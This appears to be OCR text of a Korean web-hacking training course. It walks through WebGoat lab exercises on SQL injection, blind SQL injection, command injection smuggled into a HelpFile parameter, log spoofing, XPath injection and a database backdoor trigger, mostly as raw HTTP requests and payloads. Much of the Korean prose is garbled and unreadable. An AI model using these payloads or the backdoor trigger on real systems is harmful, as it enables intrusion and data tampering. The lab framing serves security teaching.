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Training Steps

Beginner course for 2 days
— Basic Concept, OWASP, Webgoat, Practice

Intermediate course for 2 days

— Attack technique, Web Shell, XSS, SQL Injection,
Zeroboard4 Hacking, Webgame Analysis

Advanced course for 1 day

— Database Analysis, Blind SQL Injection, Source Analysis
— Phishing Site Build

Defence course for 1 day
— Server Setting, Source Modifying, Web Firewall (Castle)



Time Schedule for a Day

4 Hours

— 2 Hours Half Class

« 20 minute : concept
» 30 minute : practice
» 20 minute : concept
» 30 minute : practice
« 20 minute : break / Q&A



Synopsis of Web Hacking

« OWASP (Open Web Application Security Project)

- gl Hot MBIIS0| K1EMOo=Z X000 &l =22t JI0|E, M d
c|AE SO ZA AI=Ql H2 E2 IEOIH F& H30Il= 2
= OZNE &

— http://www.owasp.org

— Stable : OWASP Top 10 2007 (100 H<A)

— http://www.owasp.org/index.php/Category:OWASP Top Ten Pr
oject

— http://www.metasecurity.org/owasp/OWASP Top 10 2007 Kore
an.pdf (Korean Version)



http://www.owasp.org/
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
http://www.metasecurity.org/owasp/OWASP_Top_10_2007_Korean.pdf
http://www.metasecurity.org/owasp/OWASP_Top_10_2007_Korean.pdf

Denial of Service

Denial of Service from Multiple Logins

Concept: DOS 2ZHE2 web applicationsflM =Lt 2HIE S0|LCL.
okot X|Z AF2 Xt web application0il 2I0H HIB&l= AlglE 23
T @G HU MU|ASE F¥%E + 88, 19 AIZhl = S0 Sd]0}
A .

General Goal: 0] AFOIE= S X471 (& ¥ E]010l= AE 0|28t
Cl. 0l AIOIE = 219l &= E 01 20l= database connection poolS
JIXI1l UL A2 8% A2 AEE S0 Ot S 3
O] =21=S &0l 0k St

SEII_:LEIC'IFII* FROM user_systern_data WHERE user_name = " or 'L'="1" and password = "
ar '1'=

USERID |(USER_NAME |PASSWORD COOKIE

101 =R passwdl

10z jdoe passwdz

103 1plane passwd3

104 1eff jeff

105 dave dave
Login Succeeded: Total login count: 0

User Mame: |

Password; |

Login |



Denial of Service

Denial of Service from Multiple Logins

Concept: DOS 2HE web applicationsHIM =8t 2HIE S 0| L.
arok X|= A2 XIJ}t web application0fl 0] HIZ2&lE AlgS 228
T @G HU MU|ASE F¥%E + 88, 19 AIZhl = S0 Sd]0}
A .

General Goal: 0] AFOIE= S X471 (& ¥ E]010l= AE 0|28t
Cl. 0l AIOIE = 219l &= E 01 20l= database connection poolS
JIXI1l UL A2 8% A2 AEE S0 Ot S 3
O] =21=S &0l 0k St



Denial of Service from Multiple Logins

M1, usernamelll password AHEZ 0|20 user Z|AEE 30}
C}. Usernmaelf] €S UM Ol jpjection =2 SHEH, HAL| =

a9 AL I/ \4/__14 S
A= =2 5+ ULH 200 =0 THAl 1117 or '1'="12 &S
O™ sql injectionOil 3010 OleHRt Z0] user 2|1AEE =018 =
O| E SEI.‘E.CT .* FROM user_systern_data WHERE user_name = " or '1'="1' and password = "

AA or '1'="1
USERID |USER_MAME |PASSWORD |COOKIE
101 JEnow passwdl
10z jdoe passwdz
103 jplane passwd3
104 jeff jeff
105 dave dave
Login Succeeded: Total login count; 0
User Mame: |
Password: |
Laogin

(jsnow, passwdl), (jdoe, passwd?2), (jplame, passwd3)Q] X8O &
2121 =101 St} ot ¥ = ]2 & IOt =191 I2EJ| Edl
Jid 38 d301H EH S0 S3USE & + UL &2 HE2
T HS =128 AS0E A50HM =1210] EHO= ASE 2+ U
Ct. 0ot O SESE A= QETHUE DOS340| 20HE A0l



Improper Error Handling

 Fail Open Authentication Scheme

 Concept: 2I=0f| OHAM “fail open” AEHE O0I0HOI) | X
St J|Z£& UHEHLO. 22 0, “fail open"2 S [
HUSO| isS AL 0122 0li2dJt (i.e. OITIX] 24
2 el 343 HilAE S0l 2SS I 1 HAE01 &
oz BIIOI== OPIol= A0l O0lA2 =21 S
£0| HEotd.

« General Goal: 8= 2= HIIE 22 = Y0 0F Bt

Ref. http://mkseo.pe.kr/blog/?p=1218



http://mkseo.pe.kr/blog/?p=1218

Fail Open Authentication Scheme #1

Try
{
username = s.getParser().getRawParameter(USERNAME);
password = s.getParser().getRawParameter(PASSWORD);
// if credentials are bad, send the login page
if (I"webgoat”.equals(username) || !password.equals("webgoat”))
{
s.setMessage(“Invalid username nad password entered.’);
return (makelLogin(s));

}

} catch (Exception e)

{
// The parameter was omitted. Set fail open status complete
if (username.length() > 0 && e.getMessage().indexOf("not found”) != -1)
{

if (username !'= null) && (username.length() > 0))
{

makeSuccess(s);
return (makeUser(s, username, “Fail Open Error Handling"));

}
}
}



Fail Open Authentication Scheme #2

void processLogin(Request r)

02

03. try {

04. String username = r.getParameter("Username");
05. String password = r.getParameter("Password");
06.

07. if (username.equals("ADMIN") == false ||

08. password.equals("ADMINPW") == false)
09. {

10. // redirect to login form

11. }

12. '}

13. catch(Throwable t) {}

14.

15. showWelcomeScreen();

16.}

Ref: http://mkseo.pe.kr/blog/?p=1218



http://mkseo.pe.kr/blog/?p=1218

Injection Flaws #1

« Command Injection

«  JA: Server Side ScriptOfl M shell 3T &WMOl= T2 ]8O SES X010 S HX| Aol

'— I:I:Iﬂo ABH
— oo&

- ZHI: ZHIHI(O0S)0l command injection Al
A| AEl H210{ Aol

% 0{Z 2[00 A HTML BAI0|L} 27|, URL T}2{0[E| HAIO 2 AlAH BROIS MUSHE X
2 880N U MOME AAH BES UM 4+ 9l FopH,

. SQL el é.“?:l% 5{&5tA E[H DB 21E HAHLIS S FH2IAH SE5IL HO|HHO|A HE
EQRE fRE<€ =+ MEf

- £t O|O|E{ H| 0| A 2| DML(Data Manipulation Language), DDL(Data Definition Language) 10§
7t 5 At 7tSSIEE HO|HH|O|AS| FE#TH OfL| 2t FZ2dS ot == ULk

POST /WebGoat/attack?Screen=898&menu=1200 HTTP/1.0

Accept: image/qif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://localhost/WebGoat/attack?Screen=89&menu=1200
Accept-Language: ko

Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost

Pragma: no-cache

Cookie: JSESSIONID=CAEB873199E43A8A0856FD56816EE9B3
Authorization: Basic Z3VIc3Q6Z3VIc3Q=

Content-Length: 45

HelpFile=AccessControlMatrix.help” %26 netstat -an %26 ipconfig®&SUBMIT=View



Injection Flaws #2

 Blind SQL Injection

- BEM- WA= 2= YIAEE HHU ME2 0]
EHE =II0tHU EIH0= 4D EE =3

« =HMl: userid 156130 tHOH user_data HIOIS0ll
M first_name9] @t= &t0tcl.

101 AND (ascii( substr((SELECT first_ name FROM user_data WHERE userid=15613) ,1,1)) = 74);

101 AND (ascii( substr((SELECT first_ name FROM user_data WHERE userid=15613) , 2, 1)) = 111 );
101 AND (ascii( substr((SELECT first_ name FROM user_data WHERE userid=15613), 3, 1)) = 101 );
101 AND (ascii( substr((SELECT first_ name FROM user_data WHERE userid=15613) ,4, 1)) = 115 );
101 AND (ascii( substr((SELECT first_ name FROM user_data WHERE userid=15613) ,5, 1)) = 112 );
101 AND (ascii( substr((SELECT first name FROM user_data WHERE userid=15613) , 6, 1)) = 104 );

Joesph



Injection Flaws #3

« Numeric SQL Injection
. B Query 22 XX0H0] HIOIS XMl A

« Z2Xl: SQL Injection S 0|20 2 ZMl HIOIEI 7t 2O X|H| Otcl.

POST /WebGoat/attack?Screen=135&menu=1200 HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://localhost/WebGoat/attack?Screen=135&menu=1200

Accept-Language: ko

Content-Type: application/x-www-form-urlencoded

Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: localhost

Pragma: no-cache

Cookie: JSESSIONID=CAEB873199E43A8A0856FD56816EE9B3

Authorization: Basic Z3VIc3Q6Z3VIc3Q=
Content_l_ength' 24 SELECT * FROM weather data WHERE =station = 101 or 1=1

station=101 or 1=1&SUBMIT=Go%21

STATION |NAME |STATE |MIN_TEMP |MAX_TEMP
101 |Colurnbia |MD |-10 |10z

1102 |Seatte (i |-15 |90

1103 |Mew York MY |-10 |110

1104 |Houstan T |20 1120

|10001 |Carmp David |MD |-10 |100

111001 llce Station Zebra [MA |-60 |30




Injection Flaws #4

« Log Spoofing
« =M Query 22 XX010] HIOIS MH| 2424

« Z2Xl: SQL Injection S 0|20 2 ZMl HIOIEI 7t 2O X|H| Otcl.

POST /WebGoat/attack?Screen=135&menu=1200 HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://localhost/WebGoat/attack?Screen=135&menu=1200

Accept-Language: ko

Content-Type: application/x-www-form-urlencoded

Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: localhost

Pragma: no-cache

Cookie: JSESSIONID=CAEB873199E43A8A0856FD56816EE9B3

Authorization: Basic Z3VIc3Q6Z3VIc3Q= .
Content-Length: 24 OR 1=1 9| C}E BT E
OR ‘unusual’="unusual’
OR ‘something’='some’+'thing’
OR ‘text’=N'text’

station=101 or 1=1&SUBMIT=Go%21

SELECT * FROM weather data WHERE station = 101 or 1=1

[STATION [NAME |STATE |MIN_TEMP |[MAX_TEMP OR ’something’ like 'some%’
[101 [Calumbia (MO [-10 [102

[102 |Seattle [t |-15 (a0 OR ?>1, »

103 Mew York v [10 110 OR ‘text'>'t

104 |Houston LT ET 120 OR ‘whatever’ IN (‘whatever’)
[1o00o1 [Carnp David (MO [-10 [100

(11001 [Ice Station Zebra |[NA |-60 |30 OR 2 BETWEEN 1 AND 3




Injection Flaws #5

« Log Spoofing
L h 2
- X 2] IS X010 AHE2 =2
= . 7 —
« ZHl: admin0] 21210 d30I= A. =
TlIHe =<
ol 222 =HotaL.
POST /WebGoat/attack?Screen=134&menu=1200 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://localhost/WebGoat/attack?Screen=134&menu=1200
Accept-Language: ko
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost
Pragma: no-cache
Cookie: JSESSIONID=CAEB873199E43A8A0856FD56816EE9B3

Authorization: Basic Z3VIc3Q6Z3VIc3Q=
Content-Length: 84

username=Smith%0d%0alLogin Succeeded for username: admin&password=&SUBMIT=Login



Injection Flaws #6

« XPATH Injection

« S XH: XPATH Injection 20| LHSt 0]0H

- Z2H: FHZX HIA2 Mike/test123 OICt CHE HIA ] HIOIE 0l 2012t
2| 7|4 02| XPath H9|
XML Path Language(XPath)= W3C2o| EZF2| XML 2A{9| —_FLKE =9l 42 2|0 X|™dst
TZ= AFEotY 255 HiX|5t X 2[5t= W' S 7|=5t= HO{O|Ch XML HAEL}H
210 AN E E|0| YO, XSLTR} Xpointer0f| A 0|= ©10{0|LC}. Xpath'— XML EXM9| L E
% Zol5t7| Rt H2AS ALESIH, =5t g2t 7|Ef &Y 7tstt #9150| /UL

0f]) /child:Example [attribute:ExampleD="A"] EE= /Example[@ExampleID="A"]
ExampleIDZ 43 4f0| AQl <Example>Q2|HEE & o2t= 2|0|

o Xpath injection%‘lﬂ'ﬁ SQL Injection &l S AIOHH, AF2 XIJt XML HI0IH
S 212 I 2Ue > A0k NINO= TN HEE HUf XL HIOIE

TXE & £ U1, 00| 8= HIOIEOIE M2 5 ULt



XPATH Injection

- S X: XPATH Injection SZ{0il LSt OI0H

- ZM: 01X HIE2 Mike/test123 O|Ct. CHE HIE Q] HIOIEI0I & 20tz2t.
String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml"),
File d = new File(dir);
XPathFactory factory = XPathFactory.newinstance(),
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FilelnputStream(d)),
String expression = "Jemployees/employeefloginlD/text()="" + username + "' and
passwd/text()="" + password + "]’
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);

expression = "/employees/employee[loginID/text()="Smith" or

1=1 or 'a'="a" and passwd/text()="password']"

expression = "/employees/employee[ ( loginID/text()="Smith'

or 1=1) OR ( 'a'='a" and passwd/text()="password' ) ]"

Smith or 1=1 or a=a and password 0| A] HAX SM=2| (and >or)0f 2|8} Smith
or 1=1 or (a=a and password)Zf k|11 {(Smith or 1=1) or (a=a and password)}7} =
A=, SQL InjectionX & (Smith or 1=1)2 24t truet £|0] 2 E AFEXS| H|O|E £

H A OloS
E_I_NI\D



LAB: SQL Injection #1

« Stage 1: String SQL Injection

« =M =0 HAE2 Neville OICH SHIE IHAHE 8101 NevilleQ] profile Ol
M0l 2= Bt4(search, create, delete)E AI2E &+ AS2 =010}l

POST /WebGoat/attack?Screen=122&menu=1200 HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://localhost/WebGoat/attack?Screen=1228menu=1200
Accept-Language: ko

Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost

Pragma: no-cache

Cookie: JSESSIONID=CAEB873199E43A8A0856FD56816EE9B3
Authorization: Basic Z3VIc3Q6Z3VIc3Q=

Content-Length: 38

employee_id=112&password=" or '1'="1&action=Login



LAB: SQL Injection #2

- Stage 2: Parameterized Query& O A SQL InjectionE 20t2l.

- Z121 HIOIX|AC] =OIIM 1 EE=ES WO SQL injection € 24J| {0 +=H
2 £-uplal. Stage 12 U*EUIEI. 1 Z2H0| d oA OQUIII eSS =l
oOt2l.

- org.owasp.webgoat.lessons.SQLInjection.Login.java fIM TSt 20| H&E
Ofct.

String query = "SELECT * FROM employee WHERE userid = ? and password = ?";
try
{
Connection connection = WebSession.getConnections(s);
PreparedStatement statement = connection.prepareStatement(query,
ResultSet. TYPE_SCROLL_INSENSITIVE, ResultSet. CONCUR_READ_ONLY);
statement.setString(1, userld);
statement.setString(2, password);
ResultSet answer_results = statement.executeQuery();
etc...



LAB: SQL Injection #3

Stage 3: Numeric SQL Injection

=Hl: 2ASE 20| 100 M SQL Injections & Olcl.

o dE ZHLR ‘Larry'= M, boss (‘Neville)9] profileE & J| HOHA] (List Staff
HIOIXIZ 2 H) View &=9| D§IHH= LHO SQL injectionE 0] 20}2l.

POST /WebGoat/attack?Screen=1228menu=1200 HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, applica
Referer: http://localhost/WebGoat/attack?Screen=122&menu=1200
Accept-Language: ko

Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost

Pragma: no-cache

Cookie: JSESSIONID=CAEB873199E43A8A0856FD56816EE9B3
Authorization: Basic Z3VIc3Q6Z3VIc3Q=

Content-Length: 34

employee_id=101 OR 1=1 ORDER BY salary desc&action=ViewProfile

|'ri1i1 Welcome Back Larry - Staff Listing Page

melect from the list below

Larry Stooge (employes)

SearchStaff
YiewProfile

Logout

|'ri1i1 Welcome Back Larry

ListStaff \ EditProfile

|

First Mame: Meville Last Mame:
Street: aeioclgpun.;r‘?t?rs City/State:

Phone: 408-557-0024 Start Date:

SEN: 1311-111-13111 Salary:

Credit Card: 4303389267684109 Credit Card Limit:
Corrments: Manager:
Disciplinary Disciplinary Action
Explanation: Dates:

Bartholormew
San Jose, CA

301z000
450000
300000
11z

11z005

Logout




LAB: SQL Injection #4

- Stage 4: Parameterized Query& 0 Al SQL InjectionE 20t2l.
- Z7791 HIO]X]AtO] ZOIMIM O HESLHOI SQL injection & %) Aol =X

= 2512}, Stage 32 HHE0rEE 1 220 O 01A SBOH SeS 2ol
ozt

org.owasp.webgoat.lessons.SQLInjection.ViewProfile.java 0IA] CI=21t Z0|
tHZolel.

String query = "SELECT employee.* "

+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = ? and ownership.employee_id =
try
{
Connection connection = WebSession.getConnections(s);
PreparedStatement statement = connection.prepareStatement(query,
ResultSet. TYPE_SCROLL_INSENSITIVE, ResultSet. CONCUR_READ_ONLY);
statement.setString(1, userld);
statement.setString(2, subjectUserld);

ResultSet answer_results = statement.executeQuery();
etc...



Injection Flaws #7

 String SQL Injection
= = o ;
- ZH: =& HE2 Smith OICH &2
= = °
SQL Injection & A|=0lcl.
POST /WebGoat/attack?Screen=126&menu=1200 HTTP/1.0
Accept: image/qgif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://localhost/WebGoat/attack?Screen=126&menu=1200
Accept-Language: ko
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost
Pragma: no-cache
Cookie: JSESSIONID=CAEB873199E43A8A0856FD56816EE9B3

Authorization: Basic Z3VIc3Q6Z3VIc3Q= Enter your last name: [Smith or 1=1 Gol
Content-Length: 35

MRIIE WS HOIEE

rin

SELECT * FROM user_data WHERE last_name = 'Smith' or '1'='1l"

account_name:Smith' or '1'="1&SUBMIT=Go%21 |[USERID [FIRST_NAME [LAST_NAME [CC_NUMBER |[CC_TYPE [COOKIE [LOGIN_COUNT

[101 [1ce [Erow [957854321 [viza [ [o
[101 [1ce [Erow [z234200065411 [[MC [ [o
[102 [3chn [Zrnith [z435800002222 [[MC [ [o
[102 [3chn [Zrnith [4352209902222 |[AMEX [ [o
[103 [1are [Plane [123456789 [z [ [o
[103 [1are [Plane [333498703333 |[AMEX [ [o
[10312  [Jolly [Hershey [178896789 [z [ [o
[10312  [Jolly [Hershey [333300003333 |[AMEX [ [o
[10323  |[Grumnpy [wrhite (673834489 [z [ [o
[10323  |[Grumnpy [wrhite [33413003333  |[AMEX [ [o
[15603  |[Peter [zand [123809789 [z [ [o
[15603  |[Peter [zand [338893453333 |[AMEX [ [o
I

[15613  [Joesph [Sormething  |[33843453533  |[AMEX [o




Injection Flaws #8

« Database Backdoors

« Stage 1: 17§ 0l &2] SQL E2 &¥Ool= L it trigger0fl THSH Ol0H

- ZH: Il 0182 sQL 22 &¥AlIF|= SQL Injection & AIEO0kel. FOHE HES
101 0| Salary HIOIE{E O =H| update O}l

« G2 UIOIEHIOIA MHOIM 0d] SQL EE MIUIZE(;)2=E 1 E010{ SHHH(| &%
Ol= A S OIE%tL. 0] EXE 2 M2 ELE AETHSQL E2| & gUE IHQUI
Xl &= Oracle & J|EL QIOIEHIOIA MHUIME LFEE %°9III , 018 XI&A0=
HIOIEHIOIAMIM= Ol 200 BHE SHHH &S + UL

- Ol EZMI0IM= 101 HIZ0 CHEt salary HIOIE{E BB 0= sql injectionE &0l OF €.

POST /WebGoat/attack?Screen=948&menu=1200 HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://localhost/WebGoat/attack?Screen=94&8&menu=1200&Restart=94
Accept-Language: ko

Content-Type: application/x-www-form-urlencoded

Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: localhost

Pragma: no-cache

Cookie: JSESSIONID=CAEB873199E43A8A0856FD56816EE9B3

Authorization: Basic Z3VIc3Q6Z3VIc3Q=

Content-Length: 64

username=101; update employee set salary=100000&Submit=Submit



Injection Flaws #9

« Database Backdoors

« Stage 2: backdoorZ injectionO}2}. Backdoor® SAtSt triggerz injectOl)| {400 TS
9| ZEE Al80ldl. (2, =HMI2 DB= trigger& XI0HK| S5J1 =0 Xz O®
A 2L =)

CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW
BEGIN UPDATE employee SET email=john@hackme.com'WHERE userid =
NEW.userid

POST /WebGoat/attack?Screen=94&menu=1200 HTTP/1.0

Accept: image/qgif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://localhost/WebGoat/attack?Screen=94&menu=1200
Accept-Language: ko

Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: localhost

Pragma: no-cache

Cookie: JSESSIONID=CAEB873199E43A8A0856FD56816EE9B3
Authorization: Basic Z3VIc3Q6Z3VIc3Q=

Content-Length: 177

username=101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW
BEGIN UPDATE employee SET email="john@hackme.com'WHERE userid =
NEW.userid&Submit=Submit



Injection Flaws #10

« Database Backdoors

TRIGGER

o O[E{ M| 0] & Lo &x RHMS SX|

gsolch EaiAs N8Rt HOlEE ¢
S 0 B34S LIEtC Ea|HE KR E o

ST 4 st mmasin sote oo 2

2ZAMS SRSl £22 ECt

Of
ot N

m T

EQrE - o
rlr ox
o

Io

0XTE U 4o
1> o
e
I=
HU
>
Rl
U
Pl
Ofn

|
HU
ot
i
e,
rir
PO
K
my!
rlo

CREATE Trigger //E2|H M4

myBackDoor //E 2|7 O£

BEFORE INSERT ON // EJJO]| 20 GJO/EZ} =7FE]Z7] O/ 0 AlgH
employee /7 employeek] O/ = 0ff LS A]

FOR EACH ROW 1/ G1&] rows} Q8tS £1ot2 22 22t M ¥
BEGIN

UPDATE employee SET email=john@hackme.com’

WHERE userid = NEW.userid // NEW.userid= AZ2 2/ 21 =l useridg}

A=, myBackDoor E2|7{= employee E|O| 20| CHs A2 userid S = H|O|E{ 7} &L ™
HO[=0| HIO|E 7t =7t=[7| MO email 4f2ZE john@hackme.com2 Y &HS2t= SEO|CH M
A Y= AFRXIES O|H Y FA = B 5 john@hackme.com@ 2 HZAE Z40|C},

101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN
UPDATE employee SET email="john@hackme.com'"WHERE userid = NEW.userid
ot YESHH E2| A7 ddE



Insecure Communication #1

» Insecure Login

. S U2 A0 YN A4S0 LA St 0f0H

« Ol XIS AHoH MH-Z2t0IUEE AXI0HOF Ol 1l introduction section®] S RS HINEY =
OI|:|.
AA .
Q. How do I get configure WebGoat to run on an IP other then localhost?

A. In the webgoat.bat file, in the root directory, the following lines

are executed:
delete .WtomcatWconfiserverxml
copy MtomcatWconfserver_80.xml WtomcatWconftserverxml

This will overwrite any changes you may have made to serverxml

file that addressed this issue....

By changing the server_80.xml file (or by removing the above code

from webgoat.bat, after making your changes) you can reflect your

changes to the Tomcat configuration. You will need to change the IP  vmware& O|£5}0{ ST EX| =

address in the server_80.xml file to be the IP of the host machine. = 420 92 “10.20.20.123"

The following connectors should be modified CHAl vmware IPE2 £XSH &~ 91O
<1-- Define a non-SSL HTTP/1.1 Connector on port 8080 --> o, O| [ MCHE SESHK| S o|-o il
<Connector address="10.20.20.123" port="80" il HbSIE 0| OFSY QK| Q2 X| QFOI

- O

<!-- Define a SSL HTTP/1.1 Connector on port 8443 --> of & & RULL 047“"_ vmware
<Connector address="10.20.20.123" port="443" of WebGoatg AlHA|IZ| D 2
PCOAM AEZIRM = HZSHRULEH
where the 127.0.0.1 will be replaced by your IP. In this case
10.20.20.123
1)WebGoat-OWASP_Standard-5.2#WebGoat-5.2Wtomcaticonf = H | A
serverxml| Lt AMX|SID server 80.xml LAS S ALSHY serverxmlZ O|E HA
2) server 80.xm|ote L =X
oFof, HZSI XL St= IP7F 10.20.20.123 U A% 2[0 A HA|E L1t 20| HESHH EICt

= —



Insecure Communication #2

« Insecure Login
-« Stage 1: U222 AU™(sniffing)Oll 212! St 20l M0l EOIAIL.
DEE ASE £+ A= WireShark)E 0120101 T3S A SHLL.
POST /WebGoat/attack?Screen=175&menu=1300 HTTP/1.1
Accept: image/qif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://wmware IP/WebGoat/attack?Screen=175&menu=1300
Accept-Language: ko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; .NET CLR 2.0.50727; .NET
CLR 1.1.4322)
Host: vmware IP
Content-Length: 47
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: JSESSIONID=1979E7952E5A0EFADDD9144B9C7F226D
Authorization: Basic Z3VIc3Q6Z3VIc3Q=

clear_user=Jack&clear_pass=sniffy&Submit=Submit



Insecure Communication #3

« Insecure Login

- Stage 2: OIX| kXDt AEF WHFOHOF St} URLS https://= AIZ{0HOF StCE. HF 5
cl2XIL BUEE UL FAIOHEL TAl EHEE ALITOH S0 S0HA 2.

] l:alhclst.-"'l.l".l'eI:IGDat_.-"attal:k?Sc:reen=3El&menu=13DD

i BLE A
M| S TS IO 2= S| AN A RSEF HOF OIS A2
Ch 21 JiEE 2 e Z22si S 2isME =05k

[ Ol () | [ OHI=ddE ] [ 2l 2710

«  WireSharkE M HHES ©H 1HH|Q TS S ¢ =0l & = UL A2 7} SUS
Ol ALt "The data sent represents a SSLv3-compatible ClientHello handshake." 2}
< HIAIXIE &o1g = AL Ol EHIol &2 =22 L

- QO 22} BE JHZE MSEILIR? (Yes/No)
- QO0ldSll= oH Z=EZ0] AE2EIUK? (HTTP/IPSEC/MSNMS/UDP/TLS)



SSL/TSL

Ol

E82 Sd0|HEQL MU ALOI0] 21Z R 223} SAE f0H AM2E= ZZEZ0I0.
2 0|=9] NetscapeAt0fl CI0H JH 2=l A Lt TLS= IETF(Internet Engineering Task Force)
OIM IESt OIS ESZE SSLEZTEZE0 HED HAUCOTE M8 = UAC M, SSL v3.01k HI=TH HEY
S A= EBTISOEZEZE2SSLEZEZEE MEE = ULE FHEHN A2EZE 2dl=
SSL/TLS B2 E20[2l= 0 E AIESH0 227t ¢l AI20l= Web B2l = SSUTLS B2 EE2
2 XIATIL. SSL/TLS B2 EE2 X2 2013YH T2 231 U= 01 VX M8 QA S S Jf
Xla QUCL ssyTLs ZEEEE0| E32 U231 20

S, 37| AFS M 7|8t 0I5 WA S AI2SC= MOICH SSL/TLSE I3 AS M| J|4HtE = 2
S SHES A28 SSY/TLSHIM X130l 371 AE M=, MBHUIM = DHRIS A RSAME 2IF A,
DSAME QIF A, J2lil RSA 223} QIS ME JIE = UA2H, EA0[AEN M= DHRIS A, RSA &
= DSAMY QIS ME JIE = UL 017IA E2H0IHEQ| DHOIZS M= AMH | DHOIZS M QL S st
parameter§ JI& 3 <208 S£}0] J}S0LLL

=, 371Xl 2IZ 2 E(AM, Authentication Mode)& X| Bt} SSL/TLS= 2 HE E(An, Anonymous),
MH CIZS TR E(SA, Server authenticated), J2l1 22l0|HE-MH QISP E(MA, mutual
authenticated)& Zt=LC}. SSL/TLSE ASDEE MHJ MBS = JAEE FEOI AL

MY, 22 211d|ES MYAHOZ A28 = Al= AOICH ssL/TLSE MY R 242 21ldE
S XIS J2la, ASatEIA OIS S MEHOIM AI2E = AL 2112|F9 ME2 S2l0|HE
A2 ISt 22 211d|EQ 2|AES HU1l, MHIL 0] & S0IA MEiOl= S AIEetHL
X0l g11dlESE Al 2SS, 01J]|A 0+l &9 3= MD5L SHA-18 X3S 7|8 &
< Ol &9 20l U0 M= SSLilt TLs= OHE W E AT 0IF 3, TLS= HMAC §AIE 0]
200} H2I| 2 2112|=2 record protocolfIA{ 8 A2 E Ol=H|, IHEXCZE XI/6l= 0]
DES, 3DES(DESE Ml t A=A AI20l= 22 21121E), RC4 S0| AL E3H MZ I|E nae
[H0ll= RSA 17| &2 L11d|ES 0|28 Wil DH I| w 21l2|ES 0120 W, 5 IHXIE
XIATH. SSL/TLSE= 220l E £= MB Q] 1S AMIL MIIAME IS M2 F20= 71 wE 21
S0l AI2E = U= 2SS4t 2, 0] S MIAMEE SO0 AMYst 2 HUl= WHE A2

Ref: http://www.softforum.co.kr



http://www.softforum.co.kr/kor/html/support/center_view.asp?page=1&gubun=99&seq=33

Insecure Configuration

» Forced Browsing

« ZH: “config” PIEHHIOIA 0 L%t URL == Jis &2l

- =Hl: “config” HI0|XI= 2% 612& AIZT 0|2 IS0l
OF Ol=l applicationQ] =T 01 ATt(]| LTt HIAE Ol
Xl 801 HBH0| 8i= AIEE 28 = AL

« T2 HAMZE0 configQt #EE 0] URLE F=F0M S
Oi=L.



Insecure Storage

« Encoding Basics
- SH:0id 2133 W AN

- =M 0] A3 S SR Zi=0H XIJI

« Base64 encoding: encoding bytes into ASCII
— simple reversable, printable, no security

« HTML Entity encoding: for special characters
— &amp; &nbsp; &lt; &gt;
« Password based encryption (PBE)
— string encryption with text password, cannot decrypted
« MD5 hash: checksum used to validate a string or byte array, cannot reversed
« SHA-256 hash: checksum, cannot reversed
« Unicode encoding
« URL encoding

« Hex encoding
—  Y%xx format

« Rotl13 encoding: unreadable next, but easily reversed, no security
« XOR encoding: weak encryption schema

« Double unicode encoding

« Double URL encoding



Parameter Tampering

- Exploit Hidden Fields

- SH: A9 & HE Jisd 2

- ZH: AHY ALSHM HDTVE HIIE 0 WAl 2 lotat.

- 0l EXl= £dJt 20| 8ol= AHW AT SN TVE A0S
SRS Il Z2M S HBOIH MHAZUIM SHdl =401 0Fd W
I 288t 2HS QIO SSH2 S BO0L0F StLt. “Update
